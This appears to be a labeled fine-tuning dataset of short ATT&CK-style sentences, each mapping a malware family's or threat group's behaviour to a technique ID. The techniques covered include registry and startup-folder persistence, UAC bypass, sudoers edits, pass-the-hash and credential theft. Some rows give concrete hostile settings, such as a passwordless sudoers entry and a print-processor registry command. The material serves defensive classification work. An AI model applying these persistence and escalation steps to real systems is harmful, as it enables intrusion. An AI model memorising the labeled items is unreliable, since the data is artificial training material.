"Mosquito establishes persistence under the Registry key ""HKCU\Software\Run auto_update"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Most Sakula samples maintain persistence by setting the Registry Run key ""SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"" in the HKLM or HKCU hive, with the Registry value and file name varying by sample.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"NOKKI has established persistence by writing the payload to the Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Naikon has modified a victim's Windows Run registry to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
NanHaiShu modifies the %regrun% Registry to point itself to an autostart mechanism.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
NavRAT creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
ObliqueRAT can gain persistence by a creating a shortcut in the infected user's Startup directory.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Octopus achieved persistence by placing a malicious executable in the startup directory and has added the ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"" key to the Registry.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Okrum establishes persistence by creating a .lnk shortcut to itself in the Startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"PLAINTEE gains persistence by adding the Registry key ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"POWERSOURCE achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
POWERTON can install a Registry Run key for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
PROMETHIUM has used Registry run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
PUNCHBUGGY has been observed using a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Patchwork has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
PlugX adds Run key entries in the Registry to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
PoisonIvy creates run key Registry entries pointing to a malicious executable dropped to disk.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
PowerShower sets up persistence with a Registry run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"PowerSploit's ""New-UserPersistenceOption"" Persistence argument can be used to establish via the ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" Registry key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Prikormka adds itself to a Registry Run key with the name guidVGA or guidVSA.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Pteranodon copies itself to the Startup folder to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Pupy adds itself to the startup folder or adds itself to the Registry key ""SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"" for persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
QakBot can maintain persistence by creating an auto-run Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
RCSession has the ability to modify a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"RTM has used Registry run keys to establish persistence for the RTM Trojan and other tools, such as a modified version of TeamViewer remote desktop software.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Ramsay has created Registry Run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Reaver creates a shortcut file and saves it in a Startup folder to establish persistence.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Remcos can add itself to the Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" for persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Remexi utilizes Run Registry keys in the HKLM hive as a persistence mechanism.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Revenge RAT creates a Registry key at ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell"" to survive a system reboot.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Rifdoor has created a new registry entry at ""HKEY_CURRENT_USERS\Software\Microsoft\Windows\CurrentVersion\Run\Graphics"" with a value of ""C:\ProgramData\Initech\Initech.exe /run"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"RunningRAT adds itself to the Registry key ""Software\Microsoft\Windows\CurrentVersion\Run"" to establish persistence upon reboot.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"S-Type may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.1{3 characters of Unique Identifier}"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
SHIPSHAPE achieves persistence by creating a shortcut in the Startup folder.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
SILENTTRINITY can establish a LNK file in the startup folder for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
SNUGRIDE establishes persistence through a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
SPACESHIP achieves persistence by creating a shortcut in the current user's Startup folder.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"STARWHALE can establish persistence by installing itself in the startup folder, whereas the GO variant has created a `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OutlookM` registry key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Saint Bot has established persistence by being copied to the Startup directory or through the `\Software\Microsoft\Windows\CurrentVersion\Run` registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
SeaDuke is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Seasalt creates a Registry entry to ensure infection after reboot under ""HKLM\Software\Microsoft\Windows\currentVersion\Run"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"ServHelper may attempt to establish persistence via the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"" run key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Several Ke3chang backdoors achieved persistence by adding a Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Sharpshooter's first-stage downloader installed Rising Sun to the startup folder ""%Startup%\mssync.exe"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Sidewinder has added paths to executables in the Registry to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Silence has used ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"", ""HKLM\Software\Microsoft\Windows\CurrentVersion\Run"", and the Startup folder to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Small Sieve has the ability to add itself to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift` for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Smoke Loader adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Sykipot has been known to establish persistence by adding programs to the Run Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
SysUpdate can use a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
TINYTYPHON installs itself under Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
TeamTNT has added batch scripts to the startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
The BlackEnergy 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
TinyZBot can create a shortcut in the Windows startup folder for persistence.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
TrickBot establishes persistence in the Startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Tropic Trooper has created shortcuts in the Startup folder to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Truvasys adds a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Turian can establish persistence by adding Registry Run keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"USBStealer registers itself under a Registry Run key with the name ""USB Disk Security.""",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"VBShower used ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\\[a-f0-9A-F]{8}"" to maintain persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Variants of Emissary have added Run Registry keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
WarzoneRAT can add itself to the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` and `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UIF2IS20VK` Registry keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Windshift has created LNK files in the Startup folder to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Winnti for Windows can add a service named ""wind0ws"" to the Registry to achieve persistence after reboot.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Xbash can create a Startup item for persistence if it determines it is on a Windows system.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"ZIRCONIUM has created a Registry Run key named ""Dropbox Update Setup"" to establish persistence for a malicious Python binary.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Zebrocy creates an entry in a Registry Run key for the malware to execute on startup.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Zeus Panda adds persistence by creating Registry Run keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
build_downer has the ability to add itself to the Registry Run key for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
gh0st RAT has added a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"njRAT has added persistence via the Registry key ""HKCU\Software\Microsoft\CurrentVersion\Run\"" and dropped a shortcut in ""%STARTUP%"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Bazar can use Winlogon Helper DLL to establish persistence.,['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
"Gazer can establish persistence by setting the value “Shell” with “explorer.exe, %malware_pathfile%” under the Registry key ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"".",['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
"Remexi achieves persistence using Userinit by adding the Registry key ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"".",['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
"Tropic Trooper has created the Registry key ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell"" and sets the value to establish persistence.",['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
"Turla established persistence by adding a Shell value under the Registry key ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"".",['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
Wizard Spider has established persistence using Userinit by adding the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.,['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
"PowerSploit's ""Install-SSP"" Persistence module can be used to establish by installing a SSP DLL.",['T1547.005 - Boot or Logon Autostart Execution: Security Support Provider'],fine_tune
The Mimikatz credential dumper contains an implementation of an SSP.,['T1547.005 - Boot or Logon Autostart Execution: Security Support Provider'],fine_tune
Drovorub can use kernel modules to establish persistence.,['T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions'],fine_tune
"During Operation CuckooBees, attackers used a signed kernel rootkit to establish additional persistence.",['T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions'],fine_tune
Skidmap has the ability to install several loadable kernel modules (LKMs) on infected machines.,['T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions'],fine_tune
Pasam establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.,['T1547.008 - Boot or Logon Autostart Execution: LSASS Driver'],fine_tune
"Wingbird drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.",['T1547.008 - Boot or Logon Autostart Execution: LSASS Driver'],fine_tune
APT29 drops a Windows shortcut file for execution.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Comnie establishes persistence via a .lnk file in the victim’s startup path.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Dragonfly has manipulated .lnk files to gather user credentials in conjunction with Forced Authentication.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Empire can persist by modifying a .LNK file to include a backdoor.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Gazer can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Grandoreiro can write or modify browser shortcuts to enable launching of malicious browser extensions.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Helminth establishes persistence by creating a shortcut.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Kazuar adds a .lnk file to the Windows startup folder.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Lazarus Group malware has maintained persistence on a system by creating a LNK shortcut in the user’s Startup folder.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
MarkiRAT can modify the shortcut that launches Telegram by replacing its path with the malicious payload to launch with the legitimate executable.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Micropsia creates a shortcut to maintain persistence.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Okrum can establish persistence by creating a .lnk shortcut to itself in the Startup folder.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
RogueRobin establishes persistence by creating a shortcut (.LNK file) in the Windows startup folder to run a script each time the user logs in.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"S-Type may create the file ""%HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnk"", which points to the malicious `msdtc.exe` file already created in the `%CommonFiles%` directory.",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
SeaDuke is capable of persisting via a .lnk file stored in the Startup directory.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Stuxnet used copies of .lnk shortcuts to propagate through removable media.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Earth Lusca has added the Registry key `HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\UDPrint” /v Driver /d “spool.dll /f` to load malware as a Print Processor.,['T1547.012 - Boot or Logon Autostart Execution: Print Processors'],fine_tune
"Gelsemium can drop itself in ""C:\Windows\System32\spool\prtprocs\x64\winprint.dll"" to be loaded automatically by the spoolsv Windows service.",['T1547.012 - Boot or Logon Autostart Execution: Print Processors'],fine_tune
"The PipeMon installer has modified the Registry key ""HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors"" to install PipeMon as a Print Processor.",['T1547.012 - Boot or Logon Autostart Execution: Print Processors'],fine_tune
"Fysbis has installed itself as an autostart entry under ""~/.config/autostart/dbus-inotifier.desktop"" to establish persistence.",['T1547.013 - XDG Autostart Entries'],fine_tune
NETWIRE can use XDG Autostart Entries to establish persistence.,['T1547.013 - XDG Autostart Entries'],fine_tune
PoisonIvy creates a Registry key in the Active Setup pointing to a malicious executable.,['T1547.014 - Active Setup'],fine_tune
"Dok uses AppleScript to install a login Item by sending Apple events to the ""System Events"" process.",['T1547.015 - Boot or Logon Autostart Execution: Login Items'],fine_tune
NETWIRE can persist via startup options for Login items.,['T1547.015 - Boot or Logon Autostart Execution: Login Items'],fine_tune
A Threat Group-3390 tool can use a public UAC bypass method to elevate privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
APT37 has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
An older variant of PLAINTEE performs UAC bypass.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
AppleJeus has presented the user with a UAC prompt to elevate privileges while installing.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Avaddon bypasses UAC using the CMSTPLUA COM interface.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"BitPaymer can suppress UAC prompts by setting the ""HKCU\Software\Classes\ms-settings\shell\open\command"" registry key on Windows 10 or ""HKCU\Software\Classes\mscfile\shell\open\command"" on Windows 7 and launching the ""eventvwr.msc"" process, which launches BitPaymer with elevated privileges.",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Bumblebee has the ability to bypass UAC to deploy post exploitation tools with elevated privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
CSPY Downloader can bypass UAC using the SilentCleanup task to execute the binary with elevated privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Clambling has the ability to bypass UAC using a `passuac.dll` file.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Cobalt Group has bypassed UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Cobalt Strike can use a number of known techniques to bypass Windows UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"During Operation Honeybee, the threat actors used the malicious NTWDBLIB.DLL and `cliconfig.exe` to bypass UAC protections.",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Empire includes various modules to attempt to bypass UAC for escalation of privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Grandoreiro can bypass UAC by registering as the default handler for .MSC files.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
H1N1 bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Honeybee uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
InvisiMole can use fileless UAC bypass and create an elevated COM object to escalate privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
KOCTOPUS will perform UAC bypass either through fodhelper.exe or eventvwr.exe.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"KONNI has bypassed UAC by performing token impersonation as well as an RPC-based method, this included bypassing UAC set to “AlwaysNotify"".",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Many ZeroT samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
MuddyWater uses various techniques to bypass UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Patchwork bypassed User Access Control (UAC).,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
PipeMon installer can use UAC bypass techniques to install the payload.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
PoshC2 can utilize multiple methods to bypass UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Pupy can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths.",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
QuasarRAT can generate a UAC pop-up Window to prompt the target user to run a command as the administrator.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
RCSession can bypass UAC to escalate privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"RTM can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Ramsay can use UACMe for privilege escalation.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Remcos has a command for UAC bypassing.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"SILENTTRINITY contains a number of modules that can bypass UAC, including through Window's Device Manager, Manage Optional Features, and an image hijack on the `.msc` file extension.",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Saint Bot has attempted to bypass UAC using `fodhelper.exe` to escalate privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Sakula contains UAC bypass code for both 32- and 64-bit systems.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
ShimRat has hijacked the cryptbase.dll within migwiz.exe to escalate privileges. This prevented the User Access Control window from appearing.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
UACMe contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
WarzoneRAT can use `sdclt.exe` to bypass UAC in Windows 10 to escalate privileges; for older Windows versions WarzoneRAT can use the IFileOperation exploit to bypass the UAC module.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
WastedLocker can perform a UAC bypass if it is not executed with administrator rights or if the infected host runs Windows Vista or later.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Winnti for Windows can use a variant of the sysprep UAC bypass.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Cobalt Strike can use ""sudo"" to run a command.",['T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching'],fine_tune
"Dok adds ""admin  ALL=(ALL) NOPASSWD: ALL"" to the ""/etc/sudoers"" file.",['T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching'],fine_tune
Proton modifies the tty_tickets line in the sudoers file.,['T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching'],fine_tune
OSX/Shlayer can escalate privileges to root by asking the user for credentials.,['T1548.004 - Elevated Execution with Prompt'],fine_tune
FoggyWeb can allow abuse of a compromised AD FS server's SAML token.,['T1550 - Use Alternate Authentication Material'],fine_tune
"APT28 has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.",['T1550.001 - Application Access Token'],fine_tune
APT29 has used compromised service principals to make changes to the Office 365 environment.,['T1550.001 - Application Access Token'],fine_tune
CreepyDrive can use legitimate OAuth refresh tokens to authenticate with OneDrive.,['T1550.001 - Application Access Token'],fine_tune
Peirates can use stolen service account tokens to perform its operations. It also enables adversaries to switch between valid service accounts.,['T1550.001 - Application Access Token'],fine_tune
APT28 has used pass the hash for lateral movement.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
APT32 has used pass the hash for lateral movement.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
Chimera has dumped password hashes for use in pass the hash authentication attacks.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
Cobalt Strike can perform pass the hash.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
CrackMapExec can pass the hash to authenticate via SMB.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
"During Night Dragon, threat actors used pass-the-hash tools to obtain authenticated access to sensitive internal desktops and servers.",['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
HOPLIGHT has been observed loading several APIs associated with Pass the Hash.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
Kimsuky has used pass the hash for authentication to remote access software used in C2.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
Night Dragon used pass-the-hash tools to gain usernames and passwords.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
Pass-The-Hash Toolkit can perform pass the hash.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
PoshC2 has a number of modules that leverage pass the hash for lateral movement.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
The APT1 group is known to have used pass the hash.,['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],fine_tune
APT29 used Kerberos ticket attacks for lateral movement.,['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
BRONZE BUTLER has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.,['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
"Mimikatz’s ""LSADUMP::DCSync"" and ""KERBEROS::PTT"" modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets.",['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
Pupy can also perform pass-the-ticket.,['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
Some SeaDuke samples have a module to use pass the ticket with Kerberos for authentication.,['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
"APT29 used stolen cookies to access cloud resources, and a forged ""duo-sid"" cookie to bypass MFA set on an email account.",['T1550.004 - Web Session Cookie'],fine_tune
"UNC2452 used a forged ""duo-sid"" cookie to bypass MFA set on an email account.",['T1550.004 - Web Session Cookie'],fine_tune
Astaroth uses an external software known as NetPass to recover passwords.,"['T1552 - Unsecured Credentials', 'T1555 - Credentials from Password Stores']",fine_tune
"AADInternals can gather unsecured credentials for Azure AD services, such as Azure AD Connect, from a local machine.",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
Agent Tesla has the ability to extract credentials from configuration or support files.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"Azorult can steal credentials in files belonging to common software such as Skype, Telegram, and Steam.",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
Fox Kitten has accessed files to gain valid credentials.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"Hildegard has searched for SSH keys, Docker credentials, and Kubernetes service tokens.",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
